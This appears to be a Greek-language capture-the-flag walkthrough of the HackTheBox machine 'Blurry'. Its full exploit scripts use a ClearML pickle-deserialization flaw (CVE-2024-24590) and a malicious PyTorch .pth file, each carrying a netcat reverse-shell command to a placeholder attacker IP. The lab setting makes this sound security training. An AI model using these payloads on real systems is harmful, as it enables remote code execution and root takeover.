Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

Blurry has been Pwned

HTB: Blurry

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗

Το Blurry ξεκινά με καταμέτρηση subdomains που αποκαλύπτει μια πλατφόρμα MLOps ClearML στο app.blurry.htb. Μετά την εγγραφή και τη ρύθμιση του SDK, εκμεταλλευόμαστε το CVE-2024-24590 (unsafe pickle deserialization στο φόρτωμα artifact) για ένα foothold σαν jippity. Το root επιτυγχάνεται φτιάχνοντας ένα κακόβουλο μοντέλο PyTorch (.pth) που εκμεταλλεύεται έναν λάθος ρυθμισμένο κανόνα sudo — το evaluate_model καλεί torch.load(), πυροδοτώντας ένα δεύτερο deserialization σαν root.
nmap → 22, 80 → Gobuster DNS → 3 vhosts → ClearML register → CVE-2024-24590 → jippity → sudo .pth → root

Αναγνώριση

Nmap

Το αρχικό scan βρίσκει SSH και έναν web server nginx που ανακατευθύνει αμέσως στο app.blurry.htb.

nmap — initial scan
SP1R4@kali)-[~/HTB/blurry] └$ nmap -sV -sC -oN nmap.txt 10.10.11.19 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://app.blurry.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
hosts — add entries
echo "10.10.11.19 app.blurry.htb files.blurry.htb chat.blurry.htb api.blurry.htb blurry.htb" | sudo tee -a /etc/hosts

Καταμέτρηση Subdomains

gobuster dns
SP1R4@kali)-[~/HTB/blurry] └$ gobuster dns -d "blurry.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt Found: files.blurry.htb Found: app.blurry.htb Found: chat.blurry.htb

chat.blurry.htb — Rocket.Chat

Η περιήγηση στο instance Rocket.Chat μετά την εγγραφή αποκαλύπτει συζητήσεις της ομάδας. Rocket.Chat — jippity identified as admin Ο χρήστης admin είναι ο jippity και η ομάδα χτίζει AI tooling — χρήσιμο context για το τι τρέχει στο app.blurry.htb.

chat.blurry.htb — Rocket.Chat login

app.blurry.htb — ClearML

app.blurry.htb — ClearML registration

Το ClearML είναι μια πλατφόρμα MLOps ανοιχτού κώδικα για tracking πειραμάτων AI/ML. Η υποβολή οποιουδήποτε ονόματος δίνει πρόσβαση developer και παρέχει credentials API. Χρειάζεται να προσθέσουμε το api.blurry.htb στο hosts πριν τρέξουμε το SDK init.

clearml — setup
pip install virtualenv && python3 -m venv .env && source .env/bin/activate pip install clearml clearml-init # paste the config from the web UI settings page when prompted
ClearML — SDK setup instructions
~/.clearml.conf
api { web_server: http://app.blurry.htb api_server: http://api.blurry.htb files_server: http://files.blurry.htb credentials { "access_key" = "TCD21QWKRNXVRMH39C8C" "secret_key" = "n5cLnoNaOhJuvixJeG6Gy1Slt5wICU5tHbJHuSi8mTnvD0S" } }
clearml-init — credentials verified

Ευπάθειες

Η αναζήτηση για γνωστά CVEs του ClearML αναδεικνύει μια δέσμη disclosures από τις αρχές του 2024. Αυτό που έχει σημασία για εμάς:

CVEΠεριγραφηΧρησιμοποιηθηκε
CVE-2024-24590Pickle Load στο Artifact Get — unsafe deserialization✓ foothold
CVE-2024-24591Path Traversal στο File Download—
CVE-2024-24592Improper Auth → Arbitrary Read-Write—
CVE-2024-24593CSRF στον ClearML Server—
CVE-2024-24594XSS μέσω HTML rendering—
CVE-2024-24595Plaintext creds στη MongoDB—

Όταν ένας agent ClearML επεξεργάζεται ένα task, κατεβάζει το artifact και καλεί pickle.load() χωρίς validation. Φτιάχνοντας ένα αντικείμενο με κακόβουλη μέθοδο __reduce__, εκτελούμε αυθαίρετο κώδικα τη στιγμή που ο agent πιάνει το task μας.

Foothold

CVE-2024-24590 — Pickle Deserialization

Δημιουργούμε μια κλάση της οποίας το __reduce__ επιστρέφει μια εντολή reverse shell, την ανεβάζουμε σαν artifact ClearML με tag review, και την βάζουμε σε queue. Ο agent admin την εκτελεί αυτόματα.

exploit.py
import os, subprocess from clearml import Task class ShellExecutor: def __reduce__(self): cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 4444 >/tmp/f" return (subprocess.call, (cmd,)) task = Task.init( project_name="Black Swan", task_name="sp1r4Task", tags=["review"], task_type=Task.TaskTypes.data_processing, output_uri=True ) task.upload_artifact(name="sp1r4Artifact", artifact_object=ShellExecutor(), retries=2, wait_on_upload=True) task.execute_remotely(queue_name='default')
listener & shell stabilization
# Ξεκίνα listener πριν τρέξεις το exploit nc -lvnp 4444 # Μόλις συνδεθείς — σταθεροποίησε python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm # Ctrl+Z stty raw -echo; fg jippity@blurry:~$
🚩 Shell σαν jippity. User flag πιάστηκε.

Privilege Escalation

sudo -l

sudo permissions
jippity@blurry:~$ sudo -l User jippity may run the following commands on blurry: (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

Το script evaluate_model φορτώνει αρχεία μοντέλου με torch.load() — που εσωτερικά καλεί pickle.load(). Έχουμε επίσης πρόσβαση εγγραφής στο /models/:

check /models permissions
jippity@blurry:~$ ls -la / | grep models drwxrwxr-x 2 root jippity 4096 Jun 13 13:32 models
/models — writable by jippity
ⓘ torch.load() == pickle.load() — τα αρχεία .pth του PyTorch είναι pickle-serialized αντικείμενα. Κάθε κλάση με προσαρμοσμένο __reduce__ θα εκτελέσει αυθαίρετο κώδικα στο φόρτωμα.

Κακόβουλο Μοντέλο PyTorch

Φτιάχνουμε μια κλάση μοντέλου που παρακάμπτει το __reduce__ με ένα reverse shell, το αποθηκεύουμε σαν αρχείο .pth, και το ρίχνουμε στο /models/.

malicious_model.py
import torch, torch.nn as nn, os class MaliciousModel(nn.Module): def __init__(self): super().__init__() self.dense = nn.Linear(10, 1) def forward(self, x): return self.dense(x) def __reduce__(self): cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 9001 >/tmp/f" return os.system, (cmd,) torch.save(MaliciousModel(), 'sp1r4_model.pth')
deliver & trigger
# Επιτιθέμενος — σερβίρε το αρχείο python3 -m http.server 8080 # Στόχος — τράβηξε και βάλε το jippity@blurry:~$ wget http://<YOUR_IP>:8080/sp1r4_model.pth -O /models/sp1r4_model.pth # Ξεκίνα δεύτερο listener, μετά πυροδότησε σαν root nc -lvnp 9001 jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/sp1r4_model.pth [+] Model /models/sp1r4_model.pth is considered safe. Processing... # Λαβαμε shell: # whoami root # cat /root/root.txt HTB{...}
🚩 Root flag πιάστηκε. Το μηχάνημα pwned.

Περίληψη

ΣταδιοΤεχνικηΕργαλειο
ReconBrute-force subdomains → 3 vhostsgobuster
EnumRocket.Chat → admin = jippitybrowser
FootholdCVE-2024-24590 ClearML pickle deserialization RCEpython3, nc
PrivEscsudo evaluate_model + κακόβουλο .pth → torch.load() RCE σαν rootpython3, nc

Βασικές εντολές

quick reference
# Ανακαλυψη subdomains gobuster dns -d "blurry.htb" -w subdomains-top1million-5000.txt # Setup SDK ClearML pip install clearml && clearml-init # Τρεξε exploit pickle python3 exploit.py # Χτίσε κακόβουλο μοντέλο python3 malicious_model.py # Πυροδοτησε privesc sudo /usr/bin/evaluate_model /models/sp1r4_model.pth
HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗